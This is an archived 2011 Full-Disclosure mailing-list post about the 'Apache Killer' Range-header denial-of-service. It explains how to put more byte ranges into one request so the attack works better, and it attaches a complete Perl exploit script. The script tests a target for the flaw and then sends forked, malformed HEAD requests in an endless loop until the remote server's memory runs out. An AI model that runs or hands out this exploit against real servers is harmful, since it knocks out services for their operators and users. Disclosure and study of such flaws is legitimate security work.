[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Apache Killer
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] Apache Killer
- From: Javier Bassi <javierbassi@xxxxxxxxx>
- Date: Tue, 13 Sep 2011 22:36:16 -0300
On Mon, Sep 12, 2011 at 11:26 PM, xD 0x41 wrote:
> I know this topic is OLD but, i just wonder and, also having spoken to kcope
> re this myself, discussed the size of each bucket wich can be made to
> stupendous amounts and using a different vector, ok, instead of Range:bytes=
> , picture a GET request with as was shown in the code is there, you
> "Request-Range: bytes=5-,5-69,5-" , now we have bypassed most filters
> already in place, and the request range code, is exactly the same as range
> code.
> Only one person spotted this.
HTTPD advisory was very clear that both Range and Request-Range can be
used. Everyone who unset Range probably unset Request-Range too. If
host is vulnerable its a little better to use Range because using
Request-Range will take 8 bytes more. (more bytes = less ranges)
I have tested a bit the exploit and saw 1300 ranges is just a fixed
number chosen by kingcope but it can be a little bigger. Range field
can be almost 8KB long and its a total waste of bytes to use x-y,
format where y is an increasing number that will take more than one
digit. So instead of 1300 you can get it to 2725 max if you use repeat
x-, where x is always single digit number. By doing that the exploit
gets much more effective.
I have attached the source if anyone cares
#Apache httpd Remote Denial of Service (memory exhaustion)
#Exploit by Kingcope. Concept by Michal Zalewski
#Some modifications by Javier Bassi.
#original code: http://seclists.org/fulldisclosure/2011/Aug/175
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope.\n";
print "usage: perl killapache.pl <host> [numforks] <page>\n";
print "example: perl killapache.pl www.example.com 50 index.php\n";
}
$w = "";
$num=0;
for ($k=0;$k<2725;$k++) {
$w .= ",$num-";
$num++;
if ($num == 10)
{
$num=0;
}
}
sub killapache {
use vars qw($w);
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD $path HTTP/1.1\r\nHost:
$ARGV[0]\r\nRange:bytes=0-$w\r\nAccept-Encoding: gzip\r\nConnection:
close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-\r\nAccept-Encoding:
gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV >= 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$path = ($#ARGV > 1) ? '/' . $ARGV[2] : '/';
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/